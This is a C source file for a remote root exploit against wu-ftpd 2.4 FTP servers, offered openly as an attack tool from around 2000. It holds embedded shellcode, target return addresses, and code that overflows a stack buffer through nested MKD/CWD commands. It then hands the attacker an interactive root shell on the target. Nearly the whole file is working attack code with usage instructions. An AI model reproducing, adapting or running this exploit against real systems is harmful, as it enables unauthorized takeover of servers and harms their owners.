/*
 *  wu-ftpd 2.4.* remote root exploit - anathema <anathema@hack.co.za>
 *
 *  Exploits the overflow vulnerability present in all wu-ftpd 2.4 
 *  releases (and Academ beta12-18)
 *
 *  Compilation:
 *    gcc ftpd.c -o ftpd
 *
 *  Usage:
 *   ./ftpd dst_host|ip [-s src_prt] [-u user] [-p pass] [-c initial dir]
 *
 *  Example usage:
 *   ./ftpd host               -- anonymous login and /incoming dir
 *   ./ftpd host -c /write     -- anonymous login and /write dir
 *   ./ftpd host -u xx -p zz   -- login of `xx` and pass of `zz`, /incoming
 *   ./ftpd host -s 53         -- source port of 53 (misconfigured firewalls?)
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define TST_TIMEOUT			25
#define PAD_BYTES			193
#define INIT_PAD			4
#define LAST_PAD			147
#define RETPOS				202

char c0de[] =
  "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x60\x5e\x8d\x5e\x0f\x39\xf3\x7c"
  "\x06\x80\x03\x04\x4b\xeb\xf6\x29\xc0\x88\x46\x01\x88\x46\x08\x88\x46\x10\x8d"
  "\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e\x29\xc9\xb0\x27\xcd\x80\x29\xc0\xb0\x3d\xcd"
  "\x80\x29\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x29\xc0\x88\x46\x03\x8d\x5e\x02\xb0"
  "\x3d\xcd\x80\x8d\x5e\x09\x89\x5b\x08\x29\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b"
  "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x9b\xff\xff\xff\xff"
  "\xff\xff\x3d\x3d\x2a\x2a\x2b\x2a\x2a\x2b\x3d\x2b\x5e\x65\x6a\x2b\x6f\x64";

struct types
  {
    int num;
    u_long addr;
    int align;
    u_char *banner;
  };

struct types type_list[] =
{
  {1, 0xbfffe242, 0, "wu-2.4.2-academ[BETA-17]"},
  {2, 0xbfffe2f0, 4, "wu-2.4.2-academ[BETA-16]"},
  {0, 0, 0, 0}
};

u_long resolve_host(u_char *);
void send_recv(u_char *, int, u_char *, u_char *, ...);
void check_exploit(int);
void shellz(int);
void login_ftp(int, u_char *, u_char *, u_char *);
void exploit(int, u_char *, u_long, int);

u_long
resolve_host(u_char *host)
{
  struct in_addr addr;
  struct hostent *host_ent;

  if ((addr.s_addr = inet_addr(host)) == -1)
    {
      host_ent = gethostbyname(host);
      if (!host_ent) return((u_long)0);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }
  return(addr.s_addr);
}

void
send_recv(u_char *msg, int sock, u_char *expect, u_char *snd_buf, ...)
{
  u_char buf[8192]  = {0};
  va_list list;

  fprintf(stderr, "%s", msg);
  va_start(list, snd_buf);
  vsnprintf(buf, sizeof(buf) - 1, snd_buf, list);

  write(sock, buf, strlen(buf));
  va_end(list);

  memset(buf, 0, sizeof(buf));
  recv(sock, buf, sizeof(buf) - 1, 0);
  if (strstr(buf, expect)) return;
  else
    {
      /* exception to the rule */
      if ((strstr(buf, "553 ")) && !strcmp(expect, "257 ")) return;

      fprintf(stderr, "Invalid response.\n\n");
      exit(-1);
    }

  /* NOTREACHED */
}

void
check_exploit(int sock)
{
  struct timeval time_val;
  u_char tmp[4096] = {0};
  fd_set fds;
  int flag;

  fprintf(stderr, "\nTesting to see if exploitation was successful.\n");

  flag  = fcntl(sock, F_GETFL, NULL);
  flag |= O_NONBLOCK;
  fcntl(sock, F_SETFL, flag);

  fprintf(stderr, "It'z time to w8\n");
  fflush(stderr);

  time_val.tv_usec   = 0;
  time_val.tv_sec    = TST_TIMEOUT;

  FD_ZERO(&fds);
  FD_SET(sock, &fds);

  write(sock, "id;\n", 4);
  if ((select(sock+1, &fds, NULL, NULL, &time_val)) == -1)
    {
      perror("select");
      exit(-1);
    }

  recv(sock, tmp, sizeof(tmp) - 1, 0);
  if (!strstr(tmp, "uid="))
    {
      fprintf(stderr, "Huh. Exploitation unsuccessful.\n");
      exit(0);
    }

  fprintf(stderr, "\nExploit successful!\n\n");
  flag  = fcntl(sock, F_GETFL, NULL);
  flag ^= O_NONBLOCK;
  fcntl(sock, F_SETFL, flag);
}

void
shellz(int sock)
{
  u_char tmp[8192]   = {0};
  fd_set fds;

  sleep(2);
  check_exploit(sock);

  write(sock, "id; uname -a; cd /;\n", 20);
  for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds);  /* STDIN_FILENO */
      FD_SET(sock, &fds);

      if (select(255, &fds, NULL, NULL, NULL) == -1)
        {
          perror("select");
          exit(-1);
        }

      memset(tmp, 0, sizeof(tmp));

      if (FD_ISSET(sock, &fds))
        {
          if (recv(sock, tmp, sizeof(tmp) - 1, 0) == -1)
            {
              fprintf(stderr, "Connection closed by foreign host.\n");
              exit(0);
            }

          fprintf(stderr, "%s", tmp);
        }

      if (FD_ISSET(0, &fds))
        {
          read(0, tmp, sizeof(tmp) - 1);
          write(sock, tmp, strlen(tmp));
        }
    }

  /* NOTREACHED */
}

void
login_ftp(int sock, u_char *user, u_char *pass, u_char *cwd)
{
  u_char r_buf[4096]  = {0};
  u_long addr = 0;
  int i = 0, align = 0;

  recv(sock, r_buf, sizeof(r_buf) - 1, 0);
  if (!(strstr(r_buf, "220 ")))
    {
      fprintf(stderr, "Invalid banner (is this an FTP server?)\n");
      exit(-1);
    }

  for (;;)
    {
      if (!type_list[i].num)
        {
          fprintf(stderr, "Non-vulnerable FTP server, aborting.\n");
          exit(0);
        }

      if (strstr(r_buf, type_list[i].banner))
        {
          fprintf(stderr, "Vulnerable wu-ftpd found (%s), exploiting..\n",
                  type_list[i].banner);

          addr  = type_list[i].addr;
          align = type_list[i].align;
          goto xpl;
        }

      i++;
    }

xpl:
  /*
   *  Login, and change to the initial directory specified.
   */
  send_recv("\n[  login  ] : Logging in (sending USER command).. ",
            sock, "331 ", "USER %s\n", user);
  send_recv("\n[  login  ] : Logging in (sending PASS command).. ",
            sock, "230 ", "PASS %s\n", pass);
  send_recv("\n[ initial ] : Changing to writeable directory.. ",
            sock, "250 ", "CWD %s\n", cwd);

  /*
   *  Test for writeability.
   */
  send_recv("\n[ initial ] : Testing for ability to make directories.. ",
            sock, "257 ", "MKD .xpl\n");
  send_recv("\n[ initial ] : Testing for ability to remove directories.. ",
            sock, "250 ", "DELE .xpl\n");

  /*
   *  Exploit.
   */
  exploit(sock, cwd, addr, align);
  /* NOTREACHED */
}

void
exploit(int sock, u_char *init_dir, u_long addr, int align)
{
  u_char buf[4096]   = {0};
  int i = 0, lpad = LAST_PAD, ret = RETPOS;

  fprintf(stderr,
          "\n\nAligning by %d bytes (%d + %d == %d)\n",
          align, lpad, align, lpad + align);
  lpad += align;

  fprintf(stderr, "Making initial padding directories.. ");

  memset(buf, 0x41, PAD_BYTES);
  for (i = 0; i < INIT_PAD; i++)
    {
      send_recv("", sock, "257 ", "MKD %s\n", buf);
      send_recv("", sock, "250 ", "CWD %s\n", buf);
    }

  /*
   *  Create the last padding directory. Aligned for your happiness.
   */
  lpad -= strlen (init_dir);
  fprintf(stderr, "\n\nAdjusting alignment (%d - %d == %d)\n",
          lpad + strlen(init_dir), strlen(init_dir), lpad);

  if ((strlen(init_dir) == 1) && init_dir[0] == '/') lpad++;

  memset(buf, 0, sizeof(buf));
  memset(buf, 0x41, lpad);

  send_recv("", sock, "257 ", "MKD %s\n", buf);
  send_recv("", sock, "250 ", "CWD %s\n", buf);

  /*
   *  Overflow.
   */
  memset(buf, 0, sizeof(buf));
  memset(buf, 0x90, ret - strlen(c0de));
  memcpy(buf + ret - strlen(c0de), c0de, strlen(c0de));

  buf[ret++] = (addr & 0xff);
  buf[ret++] = (addr >> 8) & 0xff;
  buf[ret++] = (addr >> 16) & 0xff;
  buf[ret++] = (addr >> 16) & 0xff;
  buf[ret++] = (addr >> 24) & 0xff;

  send_recv("", sock, "", "MKD %s\n", buf);
  send_recv("", sock, "", "DELE %s\n", buf);

  shellz(sock);
}

int
create_socket(u_long dst_ip, u_short src_prt)
{
  struct sockaddr_in sin;
  int sock, one = 1, *o_ptr = &one;

  if (src_prt && (src_prt < 1024))
    {
      if (getuid() && geteuid())
        {
          fprintf(stderr, "Inadequate privileges\n");
          exit(-1);
        }
    }

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  if (src_prt)
    {
      struct sockaddr_in min;

      min.sin_family = AF_INET;
      min.sin_port   = htons(src_prt);
      min.sin_addr.s_addr = INADDR_ANY;

      if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr,
                     sizeof(one)) == -1)
        {
          perror("setsockopt SO_REUSEADDR");
          exit(-1);
        }

      if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
        {
          perror("bind");
          exit(-1);
        }
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(21);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connecting to ftp server");
      exit(-1);
    }

  return (sock);
}

void
usage(u_char *nomenclature)
{
  fprintf(stderr,
          "usage:\t%s dst_host|ip [-s src_prt] [-u user] [-p pass] [-d dir]\n",
          nomenclature);
  exit(0);
}

int
main(int argc, char **argv)
{
  u_long dst_ip      = 0;
  u_short src_prt    = 0;
  u_char *user       = "anonymous";
  u_char *pass       = "-broken@shattered.hopes";
  u_char *init_dir   = "/incoming";
  int sock, opt;

  if (argc < 2)
    {
      usage(argv[0]);
      /* NOTREACHED */
    }

  dst_ip = resolve_host(argv[1]);
  if (!dst_ip)
    {
      fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
      exit(-1);
    }

  while ((opt = getopt(argc, argv, "s:u:p:d:")) != EOF)
    {
      switch (opt)
        {
        case 's':
          src_prt = (u_short)atoi(optarg);
          break;
        case 'u':
          user = optarg;
          break;
        case 'p':
          pass = optarg;
          break;
        case 'd':
          init_dir = optarg;
          break;
        default:
          usage(argv[0]);
          /* NOTREACHED */
        }
    }

  sock = create_socket(dst_ip, src_prt);
  login_ftp(sock, user, pass, init_dir);

  /* NOTREACHED */
}


/*                    www.hack.co.za              [2000]*/